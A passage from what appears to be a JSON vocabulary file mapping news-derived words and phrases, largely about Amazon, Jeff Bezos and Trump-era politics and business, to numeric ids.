36314, "using military": 36315, "government technology": 36316, "deportation work": 36317, "slips amid": 36318, "prosecutors admitting": 36319, "american soldiers": 36320, "level kids": 36321, "735 shares": 36322, "assets payseno": 36323, "wen": 36324, "quartz original": 36325, "military ousts": 36326, "amy chua": 36327, "describing deliberately": 36328, "backwater": 36329, "devil having": 36330, "outraged displacement": 36331, "approval amazon": 36332, "xl xl": 36333, "mnuchin supported": 36334, "threat reuters": 36335, "officials security": 36336, "morning greene": 36337, "denounced projects": 36338, "mom pops": 36339, "site storefronts": 36340, "savings according": 36341, "great men": 36342, "misfit glow": 36343, "effect trump": 36344, "cause aids": 36345, "day president": 36346, "telling bloomberg": 36347, "year list": 36348, "future don": 36349, "cnl_name wire": 36350, "consumer distrust": 36351, "lower costs": 36352, "supervises": 36353, "juicy": 36354, "pitfalls amazon": 36355, "hitting": 36356, "child collects": 36357, "grudgingly voted": 36358, "boddi belga": 36359, "insider buying": 36360, "business negative": 36361, "straight away": 36362, "counterpart vice": 36363, "hour earlier": 36364, "chinese government": 36365, "legally cleared": 36366, "econlib": 36367, "technicals": 36368, "schuetz 2018": 36369, "6in8gribfh": 36370, "press secretary": 36371, "district niles": 36372, "ate": 36373, "school lauren": 36374, "caps response": 36375, "think drones": 36376, "advisors yes": 36377, "spacex launch": 36378, "confidence poll": 36379, "abbate talks": 36380, "break vox": 36381, "fail decoratevideoapi": 36382, "read don": 36383, "purpose mnuchin": 36384, "carry cash": 36385, "setinitialvideoembed function": 36386, "years specifically": 36387, "controls": 36388, "discovering": 36389, "delete fake": 36390, "involving extortion": 36391, "lows government": 36392, "paper skeptical": 36393, "alphabet plans": 36394, "journal media": 36395, "simmering war": 36396, "data processing": 36397, "car seat": 36398, "swing vote": 36399, "amazon environmentalists": 36400, "conservatives slamming": 36401, "look foolish": 36402, "excessive fear": 36403, "alexa amazon": 36404, "desist notice": 36405, "simplest": 36406, "wiggle": 36407, "ceo sen": 36408, "fortunately": 36409, "given investors": 36410, "tokyo nikkei": 36411, "retailers offer": 36412, "grabs demand": 36413, "knowledge rep": 36414, "mini monopolies": 36415, "elections cohen": 36416, "consumers good": 36417, "gospel according": 36418, "calibration": 36419, "securitie": 36420, "east wants": 36421, "utopian cult": 36422, "political legitimacy": 36423, "tsxv": 36424, "common table": 36425, "trump incoherent": 36426, "rtx series": 36427, "hudson family": 36428, "rollingstone": 36429, "economy minister": 36430, "worth \u014235billion": 36431, "whippets nossies": 36432, "democrats flush": 36433, "amazon perceived": 36434, "joint tri": 36435, "openly asked": 36436, "picking robots": 36437, "unequivocally": 36438, "behavior arrest": 36439, "taco bell": 36440, "race masculinity": 36441, "cargo network": 36442, "kelly rutherford": 36443, "star stormy": 36444, "george told": 36445, "ellis curtis": 36446, "writing bad": 36447, "dogs amazon": 36448, "week actor": 36449, "year building": 36450, "post comedian": 36451, "mistake instead": 36452, "dollars subsidize": 36453, "hawaiian shirts": 36454, "afp reported": 36455, "units bought": 36456, "article reasons": 36457, "alexa digital": 36458, "entire holiday": 36459, "ex model": 36460, "appeared wary": 36461, "logolink": 36462, "encourage american": 36463, "florida city": 36464, "cbs julian": 36465, "dailykos": 36466, "key merger": 36467, "sunset airbus": 36468, "trump 2019": 36469, "aig": 36470, "businesses help": 36471, "v4 t4": 36472, "phony headlines": 36473, "training document": 36474, "pounds revenue": 36475, "barrier orwhatever": 36476, "angelle": 36477, "fairholme capital": 36478, "ne": 36479, "chest amazon": 36480, "steyer lives": 36481, "rink": 36482, "phrase did": 36483, "podcast spotlight": 36484, "5g wireless": 36485, "jorge ruiz": 36486, "retailer faced": 36487, "michael dennis": 36488, "congress withholds": 36489, "international rohingya": 36490, "play lead": 36491, "home interiors": 36492, "announced news": 36493, "closs case": 36494, "america alleges": 36495, "violations stemming": 36496, "pragmatic task": 36497, "member board": 36498, "content andrew": 36499, "technical stipulations": 36500, "revealed thatamazon": 36501, "better roads": 36502, "technology etf": 36503, "sent amazon": 36504, "rebut": 36505, "authorization act": 36506, "ralph macchio": 36507, "singapore right": 36508, "price amazon": 36509, "mayor virginia": 36510, "liberal washington": 36511, "film paper": 36512, "1m": 36513, "role model": 36514, "reaffirmed": 36515, "neutral rate": 36516, "thomas jake": 36517, "concerning 2018": 36518, "overlooked female": 36519, "1011252198221594624": 36520, "populist maverick": 36521, "making things": 36522, "prudently invest": 36523, "chipping away": 36524, "happen hopefully": 36525, "fishburne": 36526, "loss signals": 36527, "story used": 36528, "bic requested": 36529, "budget negotiations": 36530, "says jacqueline": 36531, "freed companies": 36532, "jarislowsky": 36533, "cinder": 36534, "survey melissa": 36535, "things going": 36536, "raise tariffs": 36537, "georgetown slavery": 36538, "disguising": 36539, "data gold": 36540, "consumer makes": 36541, "fightbookmma": 36542, "1928": 36543, "invite": 36544, "senator speculates": 36545, "exists precisely": 36546, "midge": 36547, "bezos relationship": 36548, "stocks facebook": 36549, "600bn according": 36550, "markets plus": 36551, "similar discussions": 36552, "founder shared": 36553, "junior resource": 36554, "queens politicians": 36555, "good holiday": 36556, "attorney michael": 36557, "deals today": 36558, "declare war": 36559, "2019 apart": 36560, "publishes stories": 36561, "took action": 36562, "displeasure": 36563, "outdated international": 36564, "today slammed": 36565, "summit expert": 36566, "inquiry schiff": 36567, "players consider": 36568, "press area": 36569, "furor bent": 36570, "considered suspect": 36571, "heat fires": 36572, "halts growth": 36573, "association blockchain": 36574, "standup": 36575, "gutted": 36576, "words numbers": 36577, "profiles anderson": 36578, "distraction twitter": 36579, "roguerivertactical": 36580, "amazon james": 36581, "wasp generated": 36582, "analysts tracked": 36583, "parliamentary elections": 36584, "bit closer": 36585, "1984 dystopian": 36586, "nyse rog": 36587, "police departments": 36588, "ongoing conversation": 36589, "immigration foreign": 36590, "financial changes": 36591, "drones taken": 36592, "coming directly": 36593, "moderately": 36594, "washington engaging": 36595, "abortion ban": 36596, "unrivaled 043": 36597, "midnight": 36598, "meet resistance": 36599, "words": 36600, "charges customers": 36601, "business makes": 36602, "bezos frank": 36603, "vintage leather": 36604, "1983 currently": 36605, "hinders": 36606, "reportedly key": 36607, "2022 amazon": 36608, "poll": 36609, "navarro told": 36610, "physical pain": 36611, "chickenpox": 36612, "suburban pittsburgh": 36613, "golan policy": 36614, "dozen": 36615, "polarized political": 36616, "endless aisle": 36617, "640x290 getty_173218731_200015422000928060_388160": 36618, "lawyer paula": 36619, "states kernen": 36620, "rich progressive": 36621, "taxpayer bank": 36622, "jacinda ardern": 36623, "amid spooky": 36624, "sign environmental": 36625, "beating amazon": 36626, "showcasing maximum": 36627, "purdue": 36628, "nuclear missiles": 36629, "violate civil": 36630, "bae": 36631, "feel alive": 36632, "mnuchin sounded": 36633, "hell limbo": 36634, "apple video": 36635, "actress aneurisms": 36636, "billthat": 36637, "accepting applications": 36638, "unpublished intimate": 36639, "rightly highlights": 36640, "wbc wba": 36641, "claim falls": 36642, "deliver giant": 36643, "crime gangs": 36644, "broadsheets click": 36645, "family rebuild": 36646, "loss senior": 36647, "allows content": 36648, "alleged anticompetitive": 36649, "revenue contributed": 36650, "toronto chances": 36651, "ryan jack": 36652, "agency national": 36653, "past christmas": 36654, "senior royal": 36655, "anti protest": 36656, "avoid making": 36657, "sprout capsules": 36658, "trump kept": 36659, "coining": 36660, "inspirations": 36661, "alongside ebay": 36662, "axios broadcast": 36663, "home president": 36664, "amazon canada": 36665, "giuliani joe": 36666, "export hub": 36667, "climb watch": 36668, "share 2018": 36669, "sensitive personal": 36670, "executive amid": 36671, "75th anniversary": 36672, "temperament": 36673, "varivax varicella": 36674, "king obama": 36675, "foresight": 36676, "balfour": 36677, "age old": 36678, "wax statue": 36679, "ethical concerns": 36680, "trump promoted": 36681, "slowing economy": 36682, "bigstock photo": 36683, "shocking allegations": 36684, "oregon elemental": 36685, "trump euro": 36686, "story mackenzie": 36687, "billionaire fran\u00e7oise": 36688, "book shops": 36689, "questions cristina": 36690, "bezos remains": 36691, "market apple": 36692, "minus gop": 36693, "financial growth": 36694, "public consent": 36695, "old saw": 36696, "attack fake": 36697, "gallardo bodyguard": 36698, "bernstein jack": 36699, "weeks bartiromo": 36700, "features likeness": 36701, "levy market": 36702, "zings": 36703, "deciding vote": 36704, "homecare": 36705, "proponents": 36706, "different primary": 36707, "saying mccabe": 36708, "jones newswires": 36709, "post publication": 36710, "john hendel": 36711, "pubgps4": 36712, "tide running": 36713, "clay wertheimer": 36714, "instructing": 36715, "care republicans": 36716, "phone interview": 36717, "member linda": 36718, "ventured": 36719, "direct attributable": 36720, "jeff whisked": 36721, "proper credit": 36722, "unapologetic": 36723, "bezos greater": 36724, "free day": 36725, "focus speed": 36726, "restocked": 36727, "worth potentially": 36728, "initiative continues": 36729, "level whiffs": 36730, "lennox upcoming": 36731, "congratulatory cringy": 36732, "manageable": 36733, "email trumped": 36734, "wild country": 36735, "recently software": 36736, "loathing democrats": 36737, "mike bloomberg": 36738, "execute": 36739, "car breaks": 36740, "true encana": 36741, "label dirty": 36742, "subscriber discounts": 36743, "taiwan based": 36744, "videoinstance": 36745, "total 93million": 36746, "washington historical": 36747, "taxpayer identification": 36748, "triggered": 36749, "decades reached": 36750, "strong operating": 36751, "murphy called": 36752, "virally": 36753, "reportedly coordinated": 36754, "ceremony": 36755, "standing challenge": 36756, "508": 36757, "860": 36758, "symbol gm": 36759, "monopolisation case": 36760, "facebook split": 36761, "push initialize": 36762, "times robert": 36763, "criticizes amazon": 36764, "spaceship": 36765, "kushner banking": 36766, "deeply distrustful": 36767, "middle passage": 36768, "delivery push": 36769, "picturesque wondered": 36770, "quarter huge": 36771, "trolled": 36772, "usa revoking": 36773, "thr making": 36774, "anticipated new": 36775, "labor reforms": 36776, "month option": 36777, "mins ago": 36778, "incomes": 36779, "presidential management": 36780, "delivery trucks": 36781, "279 shares": 36782, "steve dishart": 36783, "conflict developing": 36784, "video providers": 36785, "notta": 36786, "voice recordings": 36787, "begun hiring": 36788, "amidst growing": 36789, "amazon ceo": 36790, "attractive client": 36791, "tuz": 36792, "factor billionaire": 36793, "prescribes": 36794, "gigya sharebar": 36795, "forte suggested": 36796, "device technology": 36797, "mackenzie picture": 36798, "public political": 36799, "nation workforce": 36800, "scale photo": 36801, "trump involvement": 36802, "farming soil": 36803, "amazon recent": 36804, "schwan foods": 36805, "palestine liberation": 36806, "specialist billy": 36807, "raise eyebrows": 36808, "society immersed": 36809, "c\u00f3rdoba": 36810, "clawed": 36811, "henry ford": 36812, "dumpty fell": 36813, "self congratulatory": 36814, "trump mask": 36815, "challenge donald": 36816, "updated amazon": 36817, "visit shelters": 36818, "democrat sen": 36819, "muslim faith": 36820, "yorker read": 36821, "deforested plain": 36822, "collaborating": 36823, "general story": 36824, "constant anxiety": 36825, "course reports": 36826, "wpix": 36827, "runs amazon": 36828, "consumed": 36829, "capital spending": 36830, "schools public": 36831, "employment benefits": 36832, "complicated subject": 36833, "reporter alyssa": 36834, "papa john": 36835, "right coming": 36836, "administration proposal": 36837, "operative": 36838, "denounce": 36839, "138": 36840, "town apple": 36841, "warning triggered": 36842, "navigate new": 36843, "dunst": 36844, "bookshops just": 36845, "comedians": 36846, "free shipping": 36847, "create problems": 36848, "crossroads": 36849, "extent aws": 36850, "redevelop": 36851, "services giant": 36852, "aut_name": 36853, "mnuchin earlier": 36854, "overall economic": 36855, "unique asset": 36856, "drown greek": 36857, "commission says": 36858, "torn": 36859, "fed reserve": 36860, "street politics": 36861, "press outlets": 36862, "affordable": 36863, "presidential aides": 36864, "candidates chimed": 36865, "alligators": 36866, "style nerd": 36867, "gay couples": 36868, "994 people": 36869, "people arrested": 36870, "unique vision": 36871, "outlets frequently": 36872, "chopra earlier": 36873, "intelligence facial": 36874, "globalist jeff": 36875, "selloff expected": 36876, "cents": 36877, "early today": 36878, "meadows told": 36879, "bash amazon": 36880, "cancer treatment": 36881, "defense intelligence": 36882, "door rebates": 36883, "flipkart india": 36884, "bdt": 36885, "recurrence": 36886, "eastern": 36887, "urged children": 36888, "single scoop": 36889, "build profiles": 36890, "majority expected": 36891, "ceptions": 36892, "evidence emerges": 36893, "entity curbed": 36894, "hq2 mailers": 36895, "times 2018": 36896, "forums": 36897, "protectionist": 36898, "apparently relying": 36899, "company negotiating": 36900, "duet": 36901, "deaths means": 36902, "create tens": 36903, "carlos curbelo": 36904, "company sweetheart": 36905, "realdonaldtrump status": 36906, "president wants": 36907, "terror recruits": 36908, "nocera brett": 36909, "tax corporate": 36910, "dramatic increase": 36911, "actually know": 36912, "furnishings provide": 36913, "patty": 36914, "orders usps": 36915, "ibama agents": 36916, "decision earlier": 36917, "grow usa": 36918, "saw anemic": 36919, "cohen payments": 36920, "disarming": 36921, "asa": 36922, "obama communications": 36923, "tani emanuel": 36924, "half million": 36925, "aboard air": 36926, "drew widespread": 36927, "including discount": 36928, "user members": 36929, "149 billion": 36930, "using instagram": 36931, "cuts classics": 36932, "biggest decline": 36933, "second campus": 36934, "hanger": 36935, "providers concerns": 36936, "red alabama": 36937, "trek 2018": 36938, "terrorist organization": 36939, "list position": 36940, "military threats": 36941, "minority report": 36942, "administration attempting": 36943, "hugs reagan": 36944, "trump steel": 36945, "virginia trial": 36946, "dhl max": 36947, "grave concern": 36948, "longtime bull": 36949, "year quite": 36950, "echo voice": 36951, "liveable meaning": 36952, "prior cooperation": 36953, "fortune tv": 36954, "core components": 36955, "sarah palin": 36956, "today polarized": 36957, "shane mitchell": 36958, "work additionally": 36959, "electrifying debut": 36960, "resettlement": 36961, "executive actions": 36962, "publicly intimidate": 36963, "prest _sx342_ql70_": 36964, "skift expert": 36965, "student users": 36966, "landing pad": 36967, "hulu gal": 36968, "asdourian": 36969, "baier": 36970, "young kim": 36971, "computing unit": 36972, "sales information": 36973, "example moving": 36974, "job loss": 36975, "protect brands": 36976, "decades nrf": 36977, "el paso": 36978, "pantomime": 36979, "main reasons": 36980, "checks posted": 36981, "reported billion": 36982, "seeking work": 36983, "lead contaminated": 36984, "corp faces": 36985, "facefirst": 36986, "news prompted": 36987, "rodriguez explained": 36988, "lever": 36989, "profit growth": 36990, "nepali": 36991, "cap don": 36992, "haven earned": 36993, "celebrants": 36994, "google sen": 36995, "drama infighting": 36996, "walmart think": 36997, "prefer companies": 36998, "luxembourg prime": 36999, "crabb bay": 37000, "implausible": 37001, "offers tax": 37002, "hannity steve": 37003, "000 federal": 37004, "amazon sources": 37005, "mcconnell senator": 37006, "maval uf": 37007, "shrewd addition": 37008, "school athletes": 37009, "messaging company": 37010, "sharply criticized": 37011, "paying fair": 37012, "gotenna pocket": 37013, "pursley": 37014, "corporate behavior": 37015, "mile shippers": 37016, "carry political": 37017, "loud megaphone": 37018, "names highlighted": 37019, "remain deeply": 37020, "offering rebuke": 37021, "autostart false": 37022, "standup special": 37023, "deteriorates": 37024, "coudert": 37025, "behavior recommend": 37026, "luck finding": 37027, "die crazy": 37028, "gift card": 37029, "bolster share": 37030, "organizations mijente": 37031, "dead wrong": 37032, "pete game": 37033, "fdic lost": 37034, "ardently": 37035, "malicious": 37036, "ensure longterm": 37037, "entwined": 37038, "gary cohn": 37039, "netflix original": 37040, "dubs": 37041, "n4": 37042, "foreign relations": 37043, "investigating russia": 37044, "month time": 37045, "secret data": 37046, "crossed": 37047, "donald biff": 37048, "documented 295": 37049, "large retailers": 37050, "workers benefit": 37051, "international packages": 37052, "sith": 37053, "added perspective": 37054, "vital claim": 37055, "algorithms rothschild": 37056, "absolutely stunning": 37057, "unexpected hairy": 37058, "breasts": 37059, "bruce lubin": 37060, "bite brazilian": 37061, "lucasnolan": 37062, "stone theory": 37063, "priorities 2018": 37064, "nasdaq admp": 37065, "doesn need": 37066, "pentagon increasingly": 37067, "erinegloff3485 status": 37068, "monopoly prism": 37069, "devices hav": 37070, "including proposed": 37071, "billion columbus": 37072, "builds": 37073, "slaves fox": 37074, "arnold russia": 37075, "buyer rates": 37076, "sanchez gavin": 37077, "bezos spends": 37078, "raccoons": 37079, "conflict": 37080, "mentors": 37081, "american citizens": 37082, "greedy plutocrats": 37083, "expected fed": 37084, "listed florida": 37085, "arctic": 37086, "long news": 37087, "apple supply": 37088, "university student": 37089, "faster delivery": 37090, "despite officials": 37091, "enquirer controversy": 37092, "just named": 37093, "timothy geithner": 37094, "needed fixing": 37095, "law american": 37096, "day share": 37097, "dafoe": 37098, "motivated embedded": 37099, "alzheimers institute": 37100, "past eastern": 37101, "lung tissue": 37102, "negotiate trade": 37103, "zlehp49ops": 37104, "perfect new": 37105, "privacy bias": 37106, "fortune points": 37107, "million residents": 37108, "meester gossip": 37109, "new role": 37110, "pubg_mobile pubg\u52df\u96c6": 37111, "microsoft reddit": 37112, "growth equals": 37113, "ceo political": 37114, "dijk toronto": 37115, "study concluded": 37116, "standard parsec": 37117, "nasa adobe": 37118, "stoppage wasn": 37119, "road big": 37120, "focused business": 37121, "act impartially": 37122, "development stock": 37123, "verystrange": 37124, "time 100": 37125, "divide new": 37126, "hidden city": 37127, "spavor": 37128, "russell 2000": 37129, "icelandic airline": 37130, "175 words": 37131, "personal lives": 37132, "steve mnuchin": 37133, "performer sanchez": 37134, "reaching 1814": 37135, "car keys": 37136, "frequently featured": 37137, "removeattr": 37138, "technology war": 37139, "statement read": 37140, "folks time": 37141, "remove age": 37142, "working long": 37143, "gore vidal": 37144, "fe school": 37145, "1977 ivana": 37146, "commerce growth": 37147, "rocker": 37148, "increasing tariffs": 37149, "caraga philippine": 37150, "language alison": 37151, "sprinkling": 37152, "charges lola": 37153, "tim weiner": 37154, "judges hid": 37155, "internationally jobs": 37156, "desired 7b": 37157, "city assembly": 37158, "boss jeff": 37159, "tiger parts": 37160, "rendezvoused": 37161, "hiking prices": 37162, "hour starting": 37163, "actual possibility": 37164, "occasionally spotted": 37165, "park": 37166, "accrued": 37167, "nation postal": 37168, "reason boosted": 37169, "vz oath": 37170, "shanay bolden": 37171, "million 2013": 37172, "kurt bardella": 37173, "cbre toronto": 37174, "hypothesize": 37175, "make stance": 37176, "17608448011 pf_rd_m": 37177, "famously did": 37178, "2018 pop": 37179, "lingerie": 37180, "john trumpfamily": 37181, "vcs": 37182, "curbing amazon": 37183, "quill corp": 37184, "gradually increasing": 37185, "agreed nce": 37186, "drags": 37187, "criticizing amazon": 37188, "rece": 37189, "usually quite": 37190, "fun true": 37191, "travel entrepreneur": 37192, "step oflikely": 37193, "new startup": 37194, "initial national": 37195, "conservative organizations": 37196, "chief digital": 37197, "2100 gmt": 37198, "employee office": 37199, "bootleg": 37200, "hard won": 37201, "uncovered makan": 37202, "child sacrifice": 37203, "suburbanites": 37204, "lightning project": 37205, "google cloud": 37206, "states jeffbozo": 37207, "picked greene": 37208, "drama washington": 37209, "gleefully": 37210, "sourceamazon published": 37211, "high mark": 37212, "frandsen muhlissa_ann": 37213, "recommends series": 37214, "reportedly refused": 37215, "fledgling commerce": 37216, "biogen mgen": 37217, "feed utm_campaign": 37218, "rosen niki": 37219, "stock rises": 37220, "sellers know": 37221, "hairy sock": 37222, "republican donations": 37223, "started sounding": 37224, "epa spokeswoman": 37225, "massive outlay": 37226, "execute yes": 37227, "conference tickets": 37228, "did market": 37229, "sessions did": 37230, "quarles scrutiny": 37231, "studios": 37232, "pg amazon": 37233, "monica lewinsky": 37234, "interference": 37235, "alipay example": 37236, "xml version": 37237, "giving investors": 37238, "market advice": 37239, "robert viglasky": 37240, "false kickertext": 37241, "modern world": 37242, "laguna": 37243, "fy18 annual": 37244, "turkey": 37245, "spaces companies": 37246, "american ancestry": 37247, "swearier": 37248, "npa amazon": 37249, "perp": 37250, "combined 780": 37251, "monies generated": 37252, "ajit pai": 37253, "354 points": 37254, "000 worker": 37255, "lima ohio": 37256, "unionization nyt": 37257, "country according": 37258, "economic theorist": 37259, "oncology": 37260, "scented": 37261, "beautifully crafted": 37262, "surmised": 37263, "inv": 37264, "nick": 37265, "month trump": 37266, "snead nyt": 37267, "basic fairness": 37268, "google niet": 37269, "casualties": 37270, "isn carrying": 37271, "garish": 37272, "presents number": 37273, "confederate soldiers": 37274, "efficiency": 37275, "oracle complete": 37276, "subscription": 37277, "orellana": 37278, "claws": 37279, "mccain baseball": 37280, "asked federal": 37281, "117 billion": 37282, "secretary wilbur": 37283, "cleo played": 37284, "paid sufficient": 37285, "facing accusations": 37286, "capital construction": 37287, "omnicom media": 37288, "raymond obstfeld": 37289, "ra studio": 37290, "unbelievable account": 37291, "house oversight": 37292, "cable ties": 37293, "damon lanphear": 37294, "columnist peggy": 37295, "citing cooperation": 37296, "long movie": 37297, "circles microsoft": 37298, "customs procedures": 37299, "people zinke": 37300, "insiders told": 37301, "1modrbhhoanbrvskixwtgzuz0cwxvtijnzeiftlvzvuq": 37302, "source radio": 37303, "america europe": 37304, "rethinks": 37305, "think trump": 37306, "possible way": 37307, "firster": 37308, "branded rekognition": 37309, "cedes critical": 37310, "enables": 37311, "factory buying": 37312, "fair distribution": 37313, "site critical": 37314, "horror": 37315, "recode talked": 37316, "major problem": 37317, "soggy papers": 37318, "equal": 37319, "amazon thought": 37320, "america south": 37321, "providing encouragement": 37322, "frequent visits": 37323, "applebaum president": 37324, "mckesson": 37325, "story tall": 37326, "945 shares": 37327, "requiring abortion": 37328, "warehouses eduardo": 37329, "prime favorite": 37330, "politically incorrect": 37331, "rush wanted": 37332, "amazon planned": 37333, "date set": 37334, "new markets": 37335, "soft spoken": 37336, "unseat ocasio": 37337, "ongoing systematic": 37338, "global cloud": 37339, "helipad brian": 37340, "fix centralized": 37341, "clinton administration": 37342, "spree": 37343, "new fee": 37344, "var s8i": 37345, "party apps": 37346, "hachette cut": 37347, "discrimination tech": 37348, "independent courier": 37349, "fox death": 37350, "company warehouses": 37351, "cat gouda": 37352, "t000002774": 37353, "relatively obscure": 37354, "newsstand company": 37355, "network": 37356, "cadaver": 37357, "washed": 37358, "immigrant rhetoric": 37359, "internal financial": 37360, "viral casone": 37361, "doubled revenue": 37362, "educated trial": 37363, "rotary": 37364, "ny1politics": 37365, "fresh news": 37366, "amazon tweeting": 37367, "crash investigation": 37368, "uniform application": 37369, "sheryl sandberg": 37370, "strategies plus": 37371, "hotspots": 37372, "virginia politico": 37373, "quickly rebounded": 37374, "enforcement issue": 37375, "reflect events": 37376, "live fact": 37377, "foul play": 37378, "thousand": 37379, "consent matters": 37380, "american businessman": 37381, "memphis tennessee": 37382, "wants government": 37383, "retail pharmacy": 37384, "amazon stuff": 37385, "anti busing": 37386, "fossils": 37387, "cain": 37388, "americans prefer": 37389, "better postscript": 37390, "atlantic elizabeth": 37391, "security reasons": 37392, "particular sentence": 37393, "mccabe says": 37394, "trump proposed": 37395, "jeffery preston": 37396, "deputy majority": 37397, "face financial": 37398, "wltz staff": 37399, "experts": 37400, "consumers entrepreneurs": 37401, "thumbimageelem null": 37402, "week alongside": 37403, "economy bolted": 37404, "workout": 37405, "dramatic admission": 37406, "defense contractor": 37407, "joining cjr": 37408, "methods finds": 37409, "normal market": 37410, "large image": 37411, "answer dozens": 37412, "arrest orioles": 37413, "21m": 37414, "man paid": 37415, "sma facebook": 37416, "oncologists note": 37417, "championship pumpkin": 37418, "poor offers": 37419, "quirky life": 37420, "insightful": 37421, "brexit deadline": 37422, "launch censored": 37423, "aclu": 37424, "delivering fresh": 37425, "really invest": 37426, "sterkste verlagingen": 37427, "officials collaborated": 37428, "money transfer": 37429, "siren song": 37430, "yelp regions": 37431, "quiet criticism": 37432, "actual raise": 37433, "2018 closure": 37434, "kim frustration": 37435, "offthe": 37436, "persecuting": 37437, "clear complexion": 37438, "unleashed": 37439, "wage gain": 37440, "succeeded": 37441, "extremely difficult": 37442, "meddling goldman": 37443, "magnificent": 37444, "upholding": 37445, "rohrwacher rohrwacher": 37446, "socks brendan": 37447, "increasingly relying": 37448, "online portals": 37449, "crown hill": 37450, "stone claimed": 37451, "amazon rarely": 37452, "puget sound": 37453, "related logo": 37454, "provide financial": 37455, "week today": 37456, "brandinglink brandingimageurl": 37457, "various subsidiary": 37458, "harrison": 37459, "garamendi california": 37460, "hostile activity": 37461, "750 million": 37462, "salary increases": 37463, "amazon portal": 37464, "facing antitrust": 37465, "drug business": 37466, "predict economic": 37467, "800 features": 37468, "host told": 37469, "benefits crony": 37470, "storing data": 37471, "west bezos": 37472, "largest holding": 37473, "cigars seasoned": 37474, "action taken": 37475, "excellent firm": 37476, "theory mean": 37477, "krasinski plays": 37478, "published explicit": 37479, "institution metropolitan": 37480, "military force": 37481, "pensions presidential": 37482, "bezos elaborated": 37483, "enquirer ties": 37484, "enquirer spent": 37485, "basketball follow": 37486, "google white": 37487, "disruption amazon": 37488, "sagging amid": 37489, "profitability second": 37490, "brin": 37491, "action crude": 37492, "officials reach": 37493, "mike rothschild": 37494, "amzn saw": 37495, "explain": 37496, "trillion earlier": 37497, "final deal": 37498, "qid 1530798028": 37499, "null img_bucketref": 37500, "algorithmically generated": 37501, "aroused howls": 37502, "endecia": 37503, "customer sentiments": 37504, "authorities investigating": 37505, "covering amazon": 37506, "stinging privately": 37507, "stone decided": 37508, "opinion comics": 37509, "region": 37510, "fantastic earnings": 37511, "supermarket distribution": 37512, "fair share": 37513, "casone guest": 37514, "revenue guide": 37515, "placards": 37516, "cheaper faster": 37517, "stitcher tunein": 37518, "enjoy": 37519, "drop plans": 37520, "toilet manufacturer": 37521, "east greg": 37522, "nervously watching": 37523, "individuals thought": 37524, "influence american": 37525, "previous features": 37526, "homrich": 37527, "600 shares": 37528, "content bezos": 37529, "winnie": 37530, "denver ap": 37531, "president kyle": 37532, "particular companies": 37533, "unexpected": 37534, "gang governor": 37535, "doncheadle": 37536, "possible exceptions": 37537, "represents parts": 37538, "claims related": 37539, "way agree": 37540, "crews alleged": 37541, "carrey anthony": 37542, "instagram28 pictures": 37543, "fully baked": 37544, "claims hacker": 37545, "story news": 37546, "wing theories": 37547, "900 million": 37548, "protesters rallied": 37549, "friends centering": 37550, "delivery especially": 37551, "law limited": 37552, "retirement music": 37553, "unswayed": 37554, "american enterprise": 37555, "board margaret": 37556, "minerals": 37557, "subtlety": 37558, "hooq cargo": 37559, "animal abuser": 37560, "french political": 37561, "billion warren": 37562, "nonprofit schools": 37563, "insiders say": 37564, "realizing": 37565, "big new": 37566, "interstate kelly": 37567, "greene host": 37568, "don make": 37569, "meeting tomorrow": 37570, "accountability issues": 37571, "previously rubber": 37572, "7ab7ujklw9 american": 37573, "100 pages": 37574, "service review": 37575, "lengths city": 37576, "elton": 37577, "finally trump": 37578, "carell wears": 37579, "antitrust police": 37580, "india face": 37581, "machine ironically": 37582, "quite attractive": 37583, "taketh": 37584, "firm cowen": 37585, "hired chris": 37586, "means sam": 37587, "promotes fair": 37588, "viewed extensive": 37589, "powder blue": 37590, "timothy egan": 37591, "tony romm": 37592, "general better": 37593, "left consumers": 37594, "arizona": 37595, "morgue": 37596, "begins clipped": 37597, "company twitter": 37598, "owners 2018": 37599, "freight making": 37600, "isn great": 37601, "christmas sales": 37602, "data right": 37603, "wright tremaine": 37604, "decker": 37605, "547 million": 37606, "league investors": 37607, "digital communications": 37608, "recklessness": 37609, "certain fico": 37610, "cultural stage": 37611, "fo": 37612, "hook": 37613, "sweating": 37614, "michael isikoff": 37615, "matter say": 37616, "hrc national": 37617, "chase dow": 37618, "candace center": 37619, "dag": 37620, "story charlie": 37621, "mac pro": 37622, "blocks abortion": 37623, "association letter": 37624, "striking than\u0430his": 37625, "biggest battles": 37626, "ago analyzing": 37627, "print run": 37628, "d1duukadczlbnn y29uc3rydwn0b3i": 37629, "potential outcome": 37630, "telling current": 37631, "newspaper propaganda": 37632, "tall spacecraft": 37633, "savory means": 37634, "risks cutting": 37635, "remains unclear": 37636, "laws claimed": 37637, "diluting": 37638, "lindy": 37639, "old case": 37640, "long downplayed": 37641, "edible": 37642, "advance environmental": 37643, "enquirer supermarket": 37644, "moniker": 37645, "condemning": 37646, "key vital": 37647, "brazil does": 37648, "mind human": 37649, "treasured": 37650, "etf screens": 37651, "swaggers": 37652, "hexgears built": 37653, "zurcher kantonalbank": 37654, "old phrases": 37655, "andover": 37656, "device html": 37657, "await shipment": 37658, "second method": 37659, "fiction drama": 37660, "reserves": 37661, "hole democrats": 37662, "pharma pills": 37663, "word grateful": 37664, "calculus": 37665, "wildfire power": 37666, "shepardson san": 37667, "markey ma": 37668, "aut_twitter_id": 37669, "repeal job": 37670, "catching heat": 37671, "trumpnation": 37672, "new chapter": 37673, "european wines": 37674, "wonderfully eccentric": 37675, "flawed heroes": 37676, "excluding millions": 37677, "exercise fiduciary": 37678, "satisfy": 37679, "offers similar": 37680, "tax strategies": 37681, "rosslyn": 37682, "texts jeff": 37683, "company using": 37684, "china redmi": 37685, "expanding cooperation": 37686, "interview russian": 37687, "democrats need": 37688, "infrastructure agriculture": 37689, "hey right": 37690, "disgusting air": 37691, "cancels hq2": 37692, "regulatory positions": 37693, "boss mark": 37694, "1984": 37695, "david mcnew": 37696, "tupperware": 37697, "informational purposes": 37698, "live ideas": 37699, "city median": 37700, "number soaring": 37701, "result coulter": 37702, "1995": 37703, "recent phone": 37704, "syna": 37705, "post amazon": 37706, "counseljon fine": 37707, "poster": 37708, "dampens": 37709, "ohio teens": 37710, "news personal": 37711, "sender": 37712, "rico relief": 37713, "us52": 37714, "zweig": 37715, "shonda rhimes": 37716, "fellow california": 37717, "netflix street": 37718, "fla ap": 37719, "demand employees": 37720, "angle advanced": 37721, "amazon brave": 37722, "gaap": 37723, "drummers article37880097": 37724, "contest": 37725, "prominent policymakers": 37726, "disseminating dsaster": 37727, "certainly expected": 37728, "transparency reports": 37729, "generated billion": 37730, "subsidiary disappear": 37731, "mic daily": 37732, "virtual machines": 37733, "national military": 37734, "prime cause": 37735, "later apologized": 37736, "definitely failed": 37737, "deforestation rates": 37738, "tariff discussions": 